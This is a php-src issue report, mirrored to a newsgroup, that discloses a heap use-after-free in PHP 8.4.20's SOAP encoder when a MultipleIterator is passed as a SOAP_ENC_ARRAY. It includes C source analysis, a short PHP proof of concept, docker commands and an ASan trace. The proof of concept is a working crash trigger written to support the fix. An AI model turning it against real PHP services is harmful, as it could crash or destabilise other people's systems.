[php-src] Issue #22895: ext/soap: heap use-after-free while encoding a `MultipleIterator`

[email protected] (Amorsec) Mon, 27 Jul 2026 02:54:53 +0000
Newsgroups php.bugs
Message-ID <[email protected]>
Issue: https://github.com/php/php-src/issues/22895
Author: Amorsec

### Description

### Summary

PHP's bundled SOAP extension can access a freed array while encoding a
`MultipleIterator` passed as an encoded SOAP array to
`SoapClient::__soapCall()`. The supplied PHP 8.4.20 ASan run demonstrates a
native heap-use-after-free in `zend_gc_addref()` after the SOAP encoder has
already destroyed the iterator's temporary current value. The demonstrated
consequence is PHP process termination under ASan and possible instability in
an unsanitized process.

### Details

- **Affected component:** bundled `ext/soap` in PHP 8.4.20, together with the
  built-in SPL `MultipleIterator`
- **Affected entry point:** `SoapClient::__soapCall()` with a `SoapVar` using
  `SOAP_ENC_ARRAY`
- **Affected source:** `https://github.com/php/php-src`, PHP 8.4.20 source;
  `ext/soap/php_encoding.c` and `ext/spl/spl_observer.c`
- **Root cause:** the SOAP encoder ignores the result of
  `array_set_zval_key()`, destroys the iterator's current zval, and then
  unconditionally increments the reference count through that same pointer
- **Trigger condition:** a `MultipleIterator` with at least one attached
  iterator is passed as a `SOAP_ENC_ARRAY`. Its `current()` and `key()` values
  are arrays, so the keyed insertion fails because an array cannot be used as a
  PHP array key.

In `ext/soap/php_encoding.c:2289-2310`, the generic `Traversable` encoder gets
the current value and key, inserts the value, and then performs unconditional
cleanup and reference counting:

```c
while (iter->funcs->valid(iter) == SUCCESS) {
    val = iter->funcs->get_current_data(iter);
    if (iter->funcs->get_current_key) {
        zval key;
        iter->funcs->get_current_key(iter, &key);

        array_set_zval_key(Z_ARRVAL(array_copy), &key, val);
        zval_ptr_dtor(val);
        zval_ptr_dtor(&key);
    } else {
        add_next_index_zval(&array_copy, val);
    }
    Z_TRY_ADDREF_P(val);
    iter->funcs->move_forward(iter);
}
```

The return value of `array_set_zval_key()` is ignored. For the default
`MultipleIterator` configuration, `key()` returns an array containing the
sub-iterator keys, and `current()` returns an array containing the
sub-iterator values. `array_set_zval_key()` therefore rejects the array key.
The subsequent `zval_ptr_dtor(val)` releases the temporary array returned by
`MultipleIterator::current()`. The later `Z_TRY_ADDREF_P(val)` then reads the
freed array header to update its reference count.

The temporary arrays are created in
`ext/spl/spl_observer.c:1288-1351` by `spl_multiple_iterator_get_all()`:

```c
array_init_size(return_value, num_elements);
...
if (SPL_MULTIPLE_ITERATOR_GET_ALL_CURRENT == get_type) {
    zend_call_known_instance_method_with_0_params(
        it->ce->iterator_funcs_ptr->zf_current, it, &retval);
} else {
    zend_call_known_instance_method_with_0_params(
        it->ce->iterator_funcs_ptr->zf_key, it, &retval);
}
...
add_next_index_zval(return_value, &retval);
```

`MultipleIterator::current()` and `MultipleIterator::key()` both call this
helper, so both results are newly constructed arrays. The ASan trace confirms
that the array allocated by `spl_multiple_iterator_get_all()` is freed by
`to_xml_array()` at line 2305 and subsequently accessed by the reference-count
increment at line 2310.

The PoC's `__doRequest()` override only returns an empty transport response so
that the test does not perform network I/O. It does not reenter the heap,
mutate the iterator, or participate in the invalid memory access.

### PoC

#### Environment and configuration

- **Container/image:** `php-asan-8420-filter-audit2`, image
  `php-asan:8.4.20`
- **PHP:** PHP 8.4.20 CLI, NTS, DEBUG build
- **PHP source revision:** PHP 8.4.20 source tree; the container did not
  retain a usable Git commit identifier
  
- **PHP compiler/linker flags:**

```text
CFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0'
CXXFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0'
LDFLAGS='-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64'
```

- **Extension:** bundled `ext/soap`, enabled by `--enable-soap` and present
  in `/src/php/sapi/cli/php`; no separate SOAP module was loaded
- **Relevant native dependencies:** OpenSSL libraries from
  `/opt/openssl-3.2/lib64` were present through the recorded build and run
  environment; they are not involved in the vulnerable operation
- **Sanitizer runtime:**
  `LD_LIBRARY_PATH=/opt/openssl-3.2/lib64`, `USE_ZEND_ALLOC=0`,
  `ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1`, and
  `UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1`

#### Reproducer

The complete PoC is retained as
[`SOAP-NEW-009_multiple_iterator_uaf_poc.php`](SOAP-NEW-009_multiple_iterator_uaf_poc.php):

```php
<?php

class LocalSoapClient extends SoapClient
{
    public function __doRequest(
        $request,
        $location,
        $action,
        $version,
        $one_way = false
    ): ?string {
        return '';
    }
}

$iterator = new MultipleIterator();
$iterator->attachIterator(new ArrayIterator([0]));

$client = new LocalSoapClient(null, [
    'location' => 'http://127.0.0.1/',
    'uri' => 'urn:audit',
]);

$client->__soapCall(
    'audit',
    [new SoapVar($iterator, SOAP_ENC_ARRAY)]
);
```

Run the PoC with the same sanitizer settings used for the captured evidence:

```sh
docker cp SOAP-NEW-009_multiple_iterator_uaf_poc.php \
  php-asan-8420-filter-audit2:/tmp/SOAP-NEW-009_multiple_iterator_uaf_poc.php
docker exec php-asan-8420-filter-audit2 sh -lc \
  'env LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
   USE_ZEND_ALLOC=0 \
   ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
   UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
   /src/php/sapi/cli/php \
   /tmp/SOAP-NEW-009_multiple_iterator_uaf_poc.php \
   > /tmp/SOAP-NEW-009_multiple_iterator_uaf_asan.txt 2>&1'
```

The recorded command exited with status `134`. The complete, unedited output
is retained as
[`SOAP-NEW-009_multiple_iterator_uaf_asan.txt`](SOAP-NEW-009_multiple_iterator_uaf_asan.txt).

#### Sanitizer report

The following excerpt is copied from the complete ASan output captured from
the minimal PoC:

```text
=================================================================
==1623721==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000082640 at pc 0x5604cfa03987 bp 0x7ffe9664c080 sp 0x7ffe9664c070
READ of size 4 at 0x506000082640 thread T0
    #0 0x5604cfa03986 in zend_gc_addref /src/php/Zend/zend_types.h:1340
    #1 0x5604cfa03deb in zval_addref_p /src/php/Zend/zend_types.h:1389
    #2 0x5604cfa2fce8 in to_xml_array /src/php/ext/soap/php_encoding.c:2310
freed by thread T0 here:
    #7 0x5604cfa2fbf3 in to_xml_array /src/php/ext/soap/php_encoding.c:2305
previously allocated by thread T0 here:
    #4 0x5604d0d01d02 in _zend_new_array /src/php/Zend/zend_hash.c:291
    #5 0x5604cfcdfd34 in spl_multiple_iterator_get_all /src/php/ext/spl/spl_observer.c:1301
    #6 0x5604cfce0d29 in zim_MultipleIterator_current /src/php/ext/spl/spl_observer.c:1368
SUMMARY: AddressSanitizer: heap-use-after-free /src/php/Zend/zend_types.h:1340 in zend_gc_addref
==1623721==ABORTING
Aborted
```

### PHP Version

```plain
PHP 8.4.20 CLI, NTS, DEBUG build
```

### Operating System

_No response_